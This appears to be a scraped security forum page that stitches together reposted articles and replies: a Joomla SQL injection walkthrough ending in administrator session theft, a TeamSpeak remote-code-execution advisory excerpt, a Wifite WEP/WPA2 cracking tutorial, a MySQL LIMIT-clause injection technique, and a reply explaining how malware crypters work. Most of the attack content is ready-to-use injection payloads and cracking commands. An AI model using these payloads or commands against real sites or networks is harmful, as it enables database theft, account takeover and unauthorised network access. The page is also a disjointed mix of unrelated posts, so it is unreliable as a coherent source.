only called the first time getState() is executed. And here's that populateState() function: Figure 16: 'populateState' function of the ContenthistoryModelHistory model class In examining this flow I see that the setState() function calls, setting different values of entries in the model configuration. Although no control of the state 'list.select' entry is found! This is a bad situation, we need to control it because this is what's injected into the SQL query after all. There's still hope! A call for the parent function of populateState is seen here: Figure 17: 'populateState' function of the JModelList class You'll see the function getUserStateFromRequest(), which stores its return value in the$list variable. GetUserStateFromRequest() is a function that returns the user's input. It takes the variable 'list' passed in the request and treats it as an array, looping on it and dividing it to the array key stored in $name and corresponding value stored in $value. It does some filtering and handling for the keys fullordering, ordering and limit. Those three keys do not relate to our case at all. However, looking at the default case, we can see how simple our attack is going to be! We find that $value is kept as it was as if it's none of the above switch{} cases (fullordering, ordering or limit), and then it sets the state (setState()) of 'list.select' to the value we passed, which means our input is left untouched! And all we've got to do is simply pass the list array in the request with a key name of 'select' and the SQL expression we want to inject! Bravo! We executed a successful SQL injection attack in one of the most-popular web CMS applications out there—Joomla! Now onto doing something interesting with that… SQL INJECTION Proof of Concept Figure 18: The Proof of Concept Finish him! The road from our SQL injection to "game over" is very short. Since our SQL injection exploits a SELECT type of query we will only be able to extract data from the database and not insert any data, which is limiting. After all, not all of the data in the database is interesting. In the users table the password is hashed, and since MD5 can't really be reverted we're kind of stuck. Then, an interesting table in Joomla caught my eye: Figure 19: #__session table in the database I chose the prefix 'jml_' for the tables in the database when I installe Joomla. To my surprise, there is a table called jml_session that handles all live sessions on the website. This means that if an administrator is currently part of a live session, it would be listed. There is also this table: Figure 20: #__user_usergroup_map table in the database An easy way to determine if an admin is logged in is to take the client_id that we extract from jml_session, look for the same user_id in the table jml_user_usergroup_map and check the group id of that user. The number eight, for example, represents a Super User, as shown in this table in the Joomla Administration Panel: Figure 21: User groups list as shown in the Joomla! Administrator Panel Sending a normal request, like we did with the POC, including a parameter "1" in list[select] presents this page in Joomla: (GET index.php?option=com_contenthistory&view=history&list[select]=1) Figure 22: Joomla error page generated when sending the URL above This is weird as all we did is enter 1, so logically it should do SELECT 1 which will always work no matter what the rest of the query is. But, we still get an error of "Unknown colum 'Array'". Hmm, OK… We can't really work like that! We need to know what full query is being executed. In order to know how to work with it, we'll debug our vulnerable code and see what query is generated. This resulted in the following: Figure 23: The SQL query executed when accessing the page mentioned in figure 22 Ok, so the part we inject will be colored in yellow and we notice something else that is quite annoying about the query and will make us have to work harder. But no worries, we like challenges! The query is multi-lined, meaning that we can't just comment it all out. All we can comment is everything after the 'SELECT' word at the first line. Then we need to figure out how to address the other 4 lines. Okay, so that gives us the following issues we have to deal with: The query will only pull data from the table jml_ucm_history (meh…) We have to learn how to get rid of that "ORDER BY Array" or how to make the query according to that. The query will execute ONLY if there will be a row in the database at jml_ucm_history where `ucm_item_id` will be equal to 0 AND `ucm_type_id` will be equal to 0. These seem like some tough and annoying conditions, but we soon find that we can overcome them easily. If you have some experience with SQL injection, you can already solve the first issue. After thinking about it I decided upon an Error-based SQLi! Since we saw that Joomla prints SQL errors on their page, an error-based SQLi will be successful here. We can run multiple queries to cause an error that will extract data from the database. Alright now, about that last line "ORDER BY Array", we have previously gotten an error "Unknown column Array", well, that's the line giving us trouble. Researching the code a little bit more and following the build of the query, I figured out that to address this line you should give another input in the URL which will be a part of our 'list' array. It islist[ordering]= (equals nothing). Setting it equal to nothing will put an order by command as default that will not interrupt our error-based SQLi session. That takes care of the second issue. For last obstacle, the ucm_item_id and ucm_type_id, well, what is it? I checked out the jml_ucm_history table to see: Figure 24: #__ucm_history table in the database There are more columns in the table, but I've only included the relevant ones above. Let's not forget purpose of the component in which we found the injection. It's a content management history component after all—every piece of content that managed or modified in some way is recorded here. Obviously we would have to supply the modified content's ID and type because Joomla needs to know on what content to pull out information. If one of those conditions are false the query will not execute. I found out it's not hard at all to supply correct IDs—it involves some guesswork, but the range is very small (although there is a better solution within the website itself, which we'll cover in a bit). ucm_type_id relates to the item's content type's id, content types usually range from 1-20+ identifying the type of content (e.g., article, gallery, video, etc). ucm_item_id relates to the item's id. For example, a new article is assigned an item id. The range for item ids is small as well because every article you create has its item id incremented from the last content item. The numbering always starts from one, which can be seen from a normal Joomla installation's populated database, or an empty Joomla installation after creating an article or piece of content. After researching the code flow for building the query a little more, we find that to supply both parameters we need to pass the following parameters in the request: type_id – The item's content type ID item_id* – The item's ID Accessing the content component of the Joomla-based website (?option=com_content), would usually give you a list of all contents available on the site. If it doesn't, you can simply look for an article or some gallery found on the website and click on it. Then you'd see you're visiting a URL that looks something like this: Figure 25: The vulnerability security announcement from the official Joomla! Website Here you see a new post released on the Joomla! Website. As I explained above, this means that it must be recorded in the jml_ucm_history table of the database. By examining the URL you can see that the item_id of that post is 5633. Half of our work is done. Guessing the type_id should be easy. We could insert a sleep() function within our SQL injection. That way if we guess the correct item_id and the type_id is true, the loading of the page will be delayed. That solves third and last issue. We know it's not so hard to reach all requirements for the SQL query to work, and we can easily understand by the website's behavior if we're on the right path to full website compromise. Now, let's pull out the first row from the session table just to test using the error-based SQLi discussed earlier. After some attempts to get the query to run we might see this: GET index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1 &list[select]= (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) The SQL query that will execute would look like this: Figure 26: The SQL query executed when sending the request mentioned above This is the result page we get: Figure 27: Extracting a session key from the DB using the SQL Injection Bingo! We have the session ID we wanted extracted from the database. Using the technique earlier using the jml_user_usergroup_map table, we could target an administrator's session ID. Pasting the session ID we've extracted (which happens to be of an Administrator in our case) to the cookie section in the GET request allows us to access the /administrator/ folder. We've also been granted administrator privileges and access to the administrator panel and a view of the control panel. And that's it—we've compromised the website! Figure 28: Administrator Control Panel in a Joomla-based website Sursa: https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/

Exploit Title: "PwnSpeak" a 0day Exploit for TeamSpeak Client <= 3.0.18.1 RFI/ to RCE Date: 12/10/2015 Author: Scurippio <scurippio@anche.no> /?? (0x6FB30B11 my pgp keyid) Vendor Homepage: https://www.teamspeak.com/ Application: TeamSpeak 3 Version: TeamSpeak3 Client 3.0.0 -?? 3.0.18.1 Platforms: Windows, Mac OS X and Linux Exploitation: Remote Risk : Very High ========= The Bug ========= The bug is a simple but Critical RFI(Remote File Inclusion), and in my test case on "Windows" you can reach remote code execution. By changing the channel description you can insert a bb tag with malicious content. There are a few problems with the image caching on disk. 1: There is no check on file extension. 2: There is no file renaming, and you can fake the extension so you can create in the cache a malicious executable file like hta, scr, msi, pif, vbs etc. ... Link: http://www.securityfocus.com/archive/1/536738

RWSPS: Automated WiFi Cracking [ch4] by rootsh3ll | Oct 18, 2015 Hello and welcome to Chapter 4 of RWSPS. In this chapter we will learn to automate the WiFi hacking using Wifite. We will cover: How to Hack WEP using Wifite How to Hack WPA/2 using Wifite Wifite: Automated Wireless Hacking/Auditing Tool Wifite is a Linux platform tool(comes pre-installed on Kali, Backtrack, Pentoo, BackBox, BlackBuntu and other pentesting distributions ) coded in Python. It is used to automate the hacking process and aims at minimizing the user inputs by scanning and using Python for automation techniques. Wifite is capable of Hacking WEP, WPA/2 and WPS, but not alone. It actually uses tools like aircrack-ng, reaver, Tshark, Cowpatty for various purposes like Enabling monitor mode Scanning air Capturing handshake Validating handshake Cracking key analyzing output and captured packets etc. Before we start the tool, we do need to learn how to install the tool and make it working like a command as it comes in all the pentesting distros. Here are the steps we will be covering in this tutorial. Downloading Wifite Installing Wifite as a system command Cracking WEP using Wifite Cracking WPA/2 using Wifite How to fix WPA/2 handshake capture error in Wifite Focusing Wifite Let’s begin. Downloading Wifite Wifite was previously hosted on code.google.com, but it is now a full-fledged project and hosted on GitHub. For all the latest updates you should go for the GitHub link, that you may find on Search engine’s results. You may directly download it here https://github.com/derv82/wifite Latest version (October, 2015) is r87. Kali Sana includes r87 version by default, but that version has an error that we will see to fix in this tutorial. Installing a tool ( Wifite ) as a command in Linux This is not only limited for this script i.e Wifite, but you can apply this to any working tool/script/program on your Linux platform to make and run it as-a-command. We will use Wifite as an example to do so. We have already downloaded the latest Wifite script and assume that it is stored on our Desktop. Now open terminal and type: cd ~/Desktop “~” reflects the HOME Directory to the shell. Check your home directory by “echo $HOME“. Here $HOME is an environment variable. /Desktop is the directory stored in the HOME directory. unzip wifite*.zip unzip is the tool to extract files from a .zip file. wifite*.zip means any file with starting name wifite and ending with .zip, here “*” means anything (including blank). cd wifite*/ Changes the pointer to first directory starting with name “wifite”. ‘/‘ symbolizes directory. Now you can check that if the script works or not just by typing python wifite.py, as wifite is a python script. If it (or any script) is working fine you might like to make it a system command so that you don’t have to traverse the directory every time. It is pretty better to just open the terminal and type command. For that we should know where the actual executable commands are stored in Linux, so that we can also copy our script in the same directory. Just like in Windows systems, all the CMD commands are stored in \WINDOWS\System32\. type “which“ followed by a simple “linux command“ which ls “which” command tells us the location of the command passed as an argument to it. which is “ls” in this case. It will reflect “/usr/bin/ls” as output. From here we know that ls, executable file is stored in /usr/bin directory. Now, what we have to do is move our wifite script to “/usr/bin/” and make it executable, if not already. Moving wifite.py to /usr/bin/ (we are in ~/Desktop/wifite/) sudo cp wifite.py /usr/bin/wifite sudo stands for SUperuser DO. Used to take root(SuperUser) permission to perform certain tasks. cp is used to copy files, Syntax: cp “Source” “Destination”, where Source is wifite.py and destination is /usr/bin/wifite. Also wifite is the output filename that we would like to use as command. Here rwx stands for Read, Write, Executable. All of them are file attributes. Making wifite Executable(if not already), so that no need to write python before the file name. sudo chmod +x /usr/bin/wifite chmod, changes the file(/usr/bin/wifite) mod to +x, i.e executable. Now wifite is a system command you can open a new terminal and type sudo wifite to run the command with root privilege. Let’s now move on to Cracking. Cracking WEP using Wifite Cracking WEP using any automated tool is hell lot of easy task as you don’t have to analyze anything, just see target, select option and hit [ENTER]. I don’t recommend using any automated tool until you have learned the actual working of the script or the process that runs behind the script. Scripts are only to reduce time and effort. Please don’t rely upon scripts and go ahead and Learn the real process by yourself and use automated tools to save your time. I will show the tutorial on Kali Linux v1 and v2, which comes with pre-installed Wifite. I am running root account by default. If you are running standard account, use sudo before Wifite eg: sudo wifite Open Terminal and type wifite and wait for it to show you the AP List. Press CTRL-C and select desired AP with enc type WEP and type its NUM. like show in the image below. Just wait for Wifite to capture the IVs(Initialization Vector) and crack the key for you. WEP cracking is the easiest of all. that is the one of the reasons that WEP is now depreciated, but still you may find it in many places where people haven’t changed their router from a while. Things to note: Wifite start the cracking after 10K IVs. Around 60K IVs might be required to crack key. Success rate is 99.9%. Make sure capture speed is 100+ IVs/second. After Wifite captures enough IVs to crack the WEP key, it will show you an output similar to this: Note in the image above, total IVs captured are 52,846 with a speed of 857 iv/sec and the Key is cracked. If you have enough IV, your WEP key is going to be broken, regardless of the length, complexity of the key. How to fix it ? use WPA/2. Let’s move on to WPA/2 cracking. Cracking WPA/2 using Wifite Unlike WEP, WPA/2 encryption algorithm is way much stronger and perhaps considered the strongest encryption at this moment. WPA2 encryption algorithm is not really broken but we manipulate the Key authentication mechanism used by WPA2 to discover the key.You can see the detailed working here. Similar to above example. Open terminal and type wifite and select the desired AP(WPA/2 enabled). first few steps may go somewhat like this: We are targeting rootsh3ll, which is WPA2 type. You can also select multiple APs, just by putting commas. example: 4,1,3,2 Here order will follow according to the input, means Wifite will try AP #4 at first place, AP #1 at second place and so on as input is provided. After capturing the handshake Wifite may behave in 2 ways depending on versions (r87 or earlier) version r87: Selects a default dictionary already stored in Kali Linux, Backtrack, eg: r0cky0u.txt, darkc0de.lst etc. In new version default dictionary used is located here: /usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt version r85 or earlier: Does not use any wordlist until -dict option is provided along with a dictionary file. Example: $ sudo wifite -dict /path/to/dictionary.txt Soon after Wifite(r87) captures handshake you will see a similar option: Here Wifite used a stored dictionary on Kali Linux by itself, No option provided and password was not in the dictionary so Crack attempt failed. That is what usually happens in WPA2 cracking, cracking don’t succeed as there are enormous no. of possibilities for a WPA2 type passwords that lies from 8-63 characters, also which can include Alphabets(a-z, A-z), Number(0-9) and Special characters(!, @, #, $,… etc) But no need to feel low. There are numerous methods also to retrieve WPA2 Passphrase, some of which we will learn in this series. In the above image you can see the path in which Wifite has stored the .cap file i.e /hs/ . You can copy the file and use it for manual brute-forcing. How to fix WPA/2 handshake capture error in Wifite ? If you are a frequent user of Wifite script, you may have encountered an issue related to the handshake capturing part of Wifite. If you are not familiar, then here is the error: Wifite keep on listening the handshake and deauth-ing the connected clients in a loop and not capturing any handshake. Where at the same time if you start airodump-ng in another terminal it will capture the handshakes Wifite is deauth-ing the clients again and again airodump-ng will keep on capturing handshake again and again. So what is the issue ? is it with the script ? Yes, there was an issue in the Wifite script ( r85, 587[old] in which auto-deauth during handshake capture was not guaranteed to deauth as expected intervals resulting in the handshake capture failure. This issue can be fixed in 3 ways: Use airodump-ng to capture files. Use latest version of Wifite Using airodump-ng to fix Wifite Handshake issue This one is very simple. While Wifite is running in background and failing to capture handshake. just open a new Terminal and run airodump-ng followed by the output_filename and Interface BSSID and channel_no. $ sudo airodump-ng wlan1mon -c 11 -w cap_file -b BSSID If there are connected clients, wifite will deauth them and the handshake will be captured by airodump-ng. Then press CTRL-C and have fun with your captured file. BSSID, Channel are very important, as our wireless card can operate at 1 frequency at a moment. Wifite fixes the wireless card on the Channel no.(frequency) similar to the AP’s we are trying to capture handshake of and by default airodump-ng hops between the channels so to avoid the errors we need to tell airodump-ng to fix itself on our desired channel i.e Channel 11 in this case. and also to avoid other AP’s handshake that might be operating on similar channel we use BSSID as a filter. Use latest version of Wifite to fix Handshake capture issue If you are using Kali Linux 1.1.0, BackBox, Ubuntu, Mint etc and facing the issue, you should try updating your Wifite version. You can do it in 2 ways. Use wifite –update command. Didn’t work ? Try downloading manually and running the script. Here is a thing to note while you might be updating using wifite –update command. You might see this output What usually happens is Wifite check for the latest version on GitHub, not by the filesize but by the version i.e r87 which is pre-installed on Kali Linux 2.0. But here’s a catch, if you look at the last update of wifite on GitHub page it was 5 months ago and the version installed in Kali Sana are both same i.e r87 but filesize differs as Kali Sana version of wifite isn’t Fixed but 5 months earlier version is r87 but fixed one. We will check it by downloading the latest wifite script from GitHub and comparing the file size of both scripts. Here is what I got when checking file size of both wifite scripts i.e one downloaded and other pre-installed. both are r87 lets understand the above image in 2 parts Above Yellow Line: ls -lh $(which wifite) ls command is used to list files in a certain directory, -lh are the command line arguments where “l” stands for listing the file details and “h” stands for human readable format for file-size followed by the file-path reflected by which command. $(), this is the bash function used to execute another command within a command, which we used to get the path to installed wifite script. ls -lh ./wifite.py again ls -lh for same purpose but the file is now wifite.py which is stored in current directory i.e ~/Desktop . In Linux world a dot (.) stands for current location, followed by “/” i.e directory. So “./” stands for current directory and./wifite.py is the file-name(wifite.py) in the current directory(./) Now notice the file-size for both, its 158 kiloBytes as Human readable format option is passed to ls command. But if we look it more clearly, means see size in Bytes we will see a change in the size of both files which you can see below the yellow line Below the yellow Line: You are now familiar to the commands used. Let’s jump onto the file-size Latest r87 version: 160949 Bytes Old r87 version: 161323 Bytes This change in the size is due to the edited code. From the older version many lines are edited to fix the Handshake error. According to tests I conducted on Kali Sana, Wifite still didn’t work even after updating it to latest version. Digging deeper I came to know that as Kali Sana was released in August and Wifite was last updated in June. So at that time Wifite was updated for Kali Linux version 1.1.0. and so not working in Kali Sana for now. Soon after finishing this series I will look at the code to fix it to work in Kali Sana. Till then you can use two of the either options to get the work done. Focusing Wifite Focusing Wifite means using wifite’s options to filter the output or the cracking process to save screen clutter, memory, wireless card life and a sometimes headache. For example if we are interested in cracking only WEP type Access points we will use sudo wifite -wep -p0841 -p0841 is the type of attack which I have found most useful and working in most of the cases, so it might be better for you too for using -p0841 when cracking WEP, it will save you a lot of time while capturing IVs. and similarly for WPA/2, lets also tell wifite to use our desired dictionary sudo wifite -wpa -w /media/drive/wordlists/MY_DICT.txt Wifite will now use MY_DICT.txt located in /media/drive/wordlists/ as a wordlist to crack WPA/2 passphrase after capturing handshake. there are many options that you can use Using specific channel Specific BSSID/ESSID Certain attack type for WEP/WPA/2 Setting time limit for WEP/WPA/2 using -wept and -wpat options and many more. Just type: sudo wifite –help For looking up all the options available. Explore the tool and keep learning. Useful Links: Router: TP-LINK TL-MR3420 300 MB/s Wireless Router 2x 5dBi antennas Network Adapters: Alfa AWUSO36NH High Gain B/G/N USB / Alfa AWUS036NHA B/G/N USB High Gain Antenna: Alfa 9dBi WiFi Omni-Directional High-Gain Antenna USB Drive (32 GB): SanDisk Ultra Fit USB 3.0 32GB Pen Drive Sursa: http://www.rootsh3ll.com/2015/10/rwsps-automated-wifi-wep-wpa2-wps-cracking-ch4/

Ti-a scapat

Vezi asta: https://ro.wikipedia.org/wiki/Automat_finit Cat despre "compilare", adica din cod sursa sa faci un executabil... Fa pentru inceput ceva simplu: 1. Creezi un automat finit 2. Procesezi un limbaj simplu Ex. write(123) Creezi o sintaxa bine pusa la punct. Mai exact, iei caracter cu caracter si: a. Ai o litera? Hmm, pare sa fie numele unei functii. Mergi mai departe b. Urmatorul caracter e "("? Inseamna ca s-a terminat numele functiei ("write") si urmeaza un parametru c. Urmatorul caracter e ")"? Inseama ca "123" e parametru pentru "write" Acestea sunt stari. Cele in cerculet sunt stari. Liniile inseamna procesare caracter cu caracter si starea in care se trece. De exemplu, din starea "functie", citesti o litera, te intorci in aceeasi stare si adaugi acea litera la numele functiei. Daca citesti insa caracterul "(" te duci in starea "param" si citesti cifra cu cifra valoarea. E un caz simplu de tot. Trebuie sa iei in considerare orice posibilitate si sa duci in starea de "eroare de compilare" daca ceva nu este in regula. 3. Dupa asta, interpretezi acel limbaj al tau. E frumos ce vrei sa faci dar poate fi complicat. Cauta despre teoria compilatoarelor, sunt multe articole, ce am zis eu e doar o idee, poate sa nu fie cea mai buna. Apoi, daca vrei "exe" trebuie sa transcrii din acel automat finit in limbaj de asamblare. Daca reusesti asta, o sa poti asambla in cod executabil, creezi un fisier PE (Portable Executable, strucutra exe) gol, pui Entrypoint catre o sectiune ".text" (sau ce nume vrei tu) care e "readable and executable" si acolo pui acel cod. Daca ai date, o sa iti trebuiasca o sectiune speciala. E prea complicat. Incearca ceva interpretat simplu, un script ca acel "write(123)". -------------------------------------------------------------------- Acum am vazut ce vrei sa faci de fapt. Un crypter functioneaza asa: 1. Ai un EXE deja creat 2. Pui "la final" sau "la interior" fisierul cryptat 3. Pui niste date de configurare, ca mai sus In acele date de configurare specifici encryptia si poate cheia. Sau ii pui o metoda de a primi cumva, de undeva, cheia de decryptare. Cat despre cum functioneaza un crypter, nu e asa simplu: trebuie sa incarci in memorie un executabil. Insa gasesti mult cod sursa din care poti invata, dar o sa iti ia ceva timp.

Se castiga mai bine pe SAP, sunt mai multe oportunitati pe Java. Alegerea e dificila.

SQL Injections in MySQL LIMIT clause Countless number of articles was written on the exploitation of SQL Injections. This post is dedicated to a very specific situation. When assessing the severity of SQL Injection in certain application, I encountered a problem, which I was not able to solve quickly using web search. It’s about a question if SQL injection vulnerability in the LIMIT clause in MySQL 5.x database is currently exploitable. Example query: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point [/TD] [/TR] [/TABLE] Of course, important is the fact that the above query contains ORDER BY clause. In MySQL we cannot use ORDER BY before UNION. If ORDER BY was not there it would be actually very easy to exploit it simply using just UNION syntax. The problem has appeared at stackoverflow and it was discussed at sla.ckers too. Sorry no results. So let’s look at the syntax of the SELECT in the MySQL 5 documentation [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [/TD] [TD=class: crayon-code]SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [sTRAIGHT_JOIN] [sql_SMALL_RESULT] [sql_BIG_RESULT] [sql_BUFFER_RESULT] [sql_CACHE | SQL_NO_CACHE] [sql_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROM table_references [WHERE where_condition] [GROUP BY {col_name | expr | position} [ASC | DESC], ... [WITH ROLLUP]] [HAVING where_condition] [ORDER BY {col_name | expr | position} [ASC | DESC], ...] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] [iNTO OUTFILE 'file_name' export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]] [FOR UPDATE | LOCK IN SHARE MODE]] [/TD] [/TR] [/TABLE] After the LIMIT clause may occur following clauses: PROCEDURE and INTO. This INTO clause is not interesting, unless the application uses a database account with permission to write files, which nowadays is rather rare situation in the wild. It turns out that it is possible to solve our problem using PROCEDURE clause. The only stored procedure available by default in MySQL is ANALYSE (see docs). Let’s give it a try: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 [/TD] [TD=class: crayon-code]mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1); ERROR 1386 (HY000): Can't use ORDER clause with this procedure [/TD] [/TR] [/TABLE] ANALYSE procedure can also take two parameters: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 [/TD] [TD=class: crayon-code]mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1); ERROR 1386 (HY000): Can't use ORDER clause with this procedure [/TD] [/TR] [/TABLE] Does not bode us well. Let’s see whether the parameters of ANALYSE are evaluated. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1); [/TD] [/TR] [/TABLE] gives us immediate response: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse’ [/TD] [/TR] [/TABLE] Therefore, sleep() is certainly not being called. I didn’t give up so fast and I finally found the vector: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 [/TD] [TD=class: crayon-code]mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1' [/TD] [/TR] [/TABLE] Voilà! The above solution is based on handy known technique of so-called error based injection. If, therefore, our vulnerable web application discloses the errors of the database engine (this is a real chance, such bad practices are common), we solve the problem. What if our target doesn’t display errors? Are we still able to exploit it successfully? It turns out that we can combine the above method with another well-known technique – time based injection. In this case, our solution will be as follows: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) [/TD] [/TR] [/TABLE] It works. What is interesting that using SLEEP is not possible in this case. That’s why there must be a BENCHMARK instead. Update: As BigBear pointed out in the comment, very similar solution was actually posted earlier on rdot. Thanks! Update: It would be awesome if this technique is implemented in sqlmap. Sursa: https://rateip.com/blog/sql-injections-in-mysql-limit-clause/

Junior developer - 750 EUR, minim? Da, nu stiu ce sa zic.

Amuzant, haha, MUIE steaua! PS: Degeaba ascunzi IP in browser cand te conectezi pe 3306 cu IP real...

Macar de ai pune un titlu mai academic.